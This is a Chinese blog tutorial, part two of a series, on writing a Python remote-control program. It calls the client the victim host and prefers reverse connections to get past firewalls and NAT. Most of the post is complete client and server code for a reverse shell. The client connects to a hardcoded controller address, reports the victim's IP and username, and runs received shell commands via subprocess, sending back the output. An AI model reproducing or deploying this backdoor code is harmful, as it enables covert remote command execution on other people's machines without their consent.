编程语言
首页 > 编程语言> > Python从零开始编写控制程序(二)

Python从零开始编写控制程序(二)

作者:互联网

# Python从零开始编写控制程序(二)
前言:终于考完期末了,鸽了很久的远控Python终于有时间更新下了。上篇文章里,我们解决了注册表写入和Python编写为exe程序的问题。
那么这篇文章我们来研究如何完成客户端与服务端的通信,并且完成命令执行及文件下载的功能。
客户端和服务端的通信,在本篇博客里我们依赖Socket库来完成。
在之前的博客中,我详细的写了Socket通信的原理、使用,链接如下:

https://www.cnblogs.com/culin/p/14406973.html

一般来说,远控存在正向链接和反向链接两种情况。我们编写的远控程序,一般选择反向链接。因为正向链接会因为对方是在内网的情况,或者存在防护软件而失效。所以客户端一般是受害主机,而服务端则是我们的控制主机。
在实现命令执行的功能时,我们需要使用到Python的Subprocess模型,这是一个非常强大的命令执行模块,原理是通过生成子进程来执行命令。
本次博客里我们着重研究Subprocess.call()函数,此函数可以接受数组,字符串来执行命令。不同的是如果要接受字符串来作为命令执行,需要将shell参数设置为True,具体命令形式如下:

subprocess.call('dir',shell=True)

执行结果如下:
![](https://img04.sogoucdn.com/app/a/100520146/bf33ae0faaf0695ee6c0b20a5f861d41)

同时,subprocess.call的返回值为布尔类型,返回值为0表示命令执行成功,否则命令执行失败。[之前我以为命令执行结果会直接返回,其实实际情况不是这样的]。
另外,subprocess.check_output可以将执行结果以字符串的形式返回,详细的使用方法如下

res=subprocess.check_output('dir',shell=True)
print(res.decode("GBK","ignore"))

注意如果使用解码函数,并设置好正确的参数,就会出现返回结果以ASCII码的形式出现,这是非常反人类的一件事,切记切记。
实际情况中,subporcess.call还有更多的使用情况,譬如根据stdin,stdout,stderr等句柄进行更复杂的操作,但是在此我们不进行尝试(一切以实现目标为主,删繁就简).
在本篇文章中,我们着重解决命令执行的问题,而先忽略多线程控制、文件下载这两个功能。
命令执行的思路:服务端接受命令,发送给客户端,并将客户端的返回结果打印到控制台上。
                客户端接受服务端发来的命令,并且返回结果。
对应部分代码如下:
 客户端:

def ExecComman(Client):
    while True:
        try:
            comman=Client.recv(BUFFSIZE).decode()
            print(comman)
            if comman=='exit':
                break
            comList=comman.split()
            if comList[0]!='cd':
                result = subprocess.check_output(comman, shell=True)
                result=result.decode("GBK","ignore")
                result=bytes(result,encoding="utf-8")
                if result==b'':
                    Client.sendall('Exec Successful!'.encode())
                else:
                    Client.sendall(result)
        except Exception as e:
            Client.sendall("Failed to exec".encode())
        continue
服务端:
def ExecComman(client,raddr):
    while True:
        command=raw_input("[Command]:>>>")
        if command=='q' or command=='exit':
            client.sendall('exit'.encode())
            break
        client.sendall(command.encode())
        result=client.recv(BUFFSIZE)
        print(result)

 同时我们要注意到这里的编码问题,因为sendall只能发送bytes数据,所以数据的encode和decode是每次发送和接受数据前都要考虑到的问题。 总体代码如下:

 

#客户端:
import socket
import subprocess
#设置主控端信息
HOST="192.168.198.130"
PORT=4440
BUFFSIZE=1024
ADDR=(HOST,PORT)
def ExecComman(Client):
    while True:
        try:
            comman=Client.recv(BUFFSIZE).decode()
            print(comman)
            if comman=='exit':
                break
            comList=comman.split()
            if comList[0]!='cd':
                result = subprocess.check_output(comman, shell=True)
                result=result.decode("GBK","ignore")
                result=bytes(result,encoding="utf-8")
                print(result)
                if result==b'':
                    Client.sendall('Exec Successful!'.encode())
                else:
                    Client.sendall(result)
            elif comList[0]=='cd':
                os.chdir(comList[1])
                Client.sendall(os.getcwd().encode())
        except Exception as e:
            Client.sendall("Failed to exec".encode())
        continue
if __name__ == '__main__':
    #连接主控端
    tcpClient=socket.socket()
    tcpClient.connect(ADDR)
    #发送客户端信息,包括主机名,IP地址,
    tcp_ip=tcpClient.getsockname()
    tcp_name=subprocess.check_output('whoami',shell=True)
    ClientInfo="IP:"+tcp_ip[0]+" 用户:"+tcp_name.decode("GBK","ignore")
    ClientInfo=bytes(ClientInfo,encoding="utf-8")
    tcpClient.sendall(ClientInfo)
    #监听服务器端的输入
    print("[*]Waiting for the server command")
    while True:
        info=tcpClient.recv(BUFFSIZE).decode()
        if info=='1':
            ExecComman(tcpClient)
        elif info=='2':
            FileDownload()
-------------------------------------------------------------------
#服务端#
-*- coding:utf-8 -*-
import socket
import subprocess
BUFFSIZE=1024
def ExecComman(client,raddr):
    while True:
        command=raw_input("[Command]:>>>")
        if command=='q' or command=='exit':
            client.sendall('exit'.encode())
            break
        client.sendall(command.encode())
        result=client.recv(BUFFSIZE)
        print(result)
if __name__== '__main__':
    tcpServer_ip="192.168.198.130"
    tcpServer_port=4440
    tcpServer_addr=(tcpServer_ip,tcpServer_port)
    #Start to listen
    try:
        print("Try")
        tcpServer=socket.socket()
        tcpServer.bind(tcpServer_addr)
        tcpServer.listen(1)
    except socket.error as e:
        print(e)
    client,raddr=tcpServer.accept()
    client_info=client.recv(BUFFSIZE)
    print(client_info)
    print("Please Select The Command")
    print("[1]Command Exec")
    print("[2]File Transfer")
    choice=input("[0]>>>")
    print(choice)
    if choice==1:
        client.sendall('1'.encode())
        ExecComman(client,raddr)  

那么初步的命令执行功能已经实现了,在此功能的基础上,我们可以添加文件下载的功能,或者进行多线程多进程的优化。这些功能在后续的博客中会进行相应补充,希望小伙伴可以自己进行相关函数的调试。

标签:Python,控制程序,client,sendall,从零开始,result,print,True,encode
来源: https://www.cnblogs.com/culin/p/14984404.html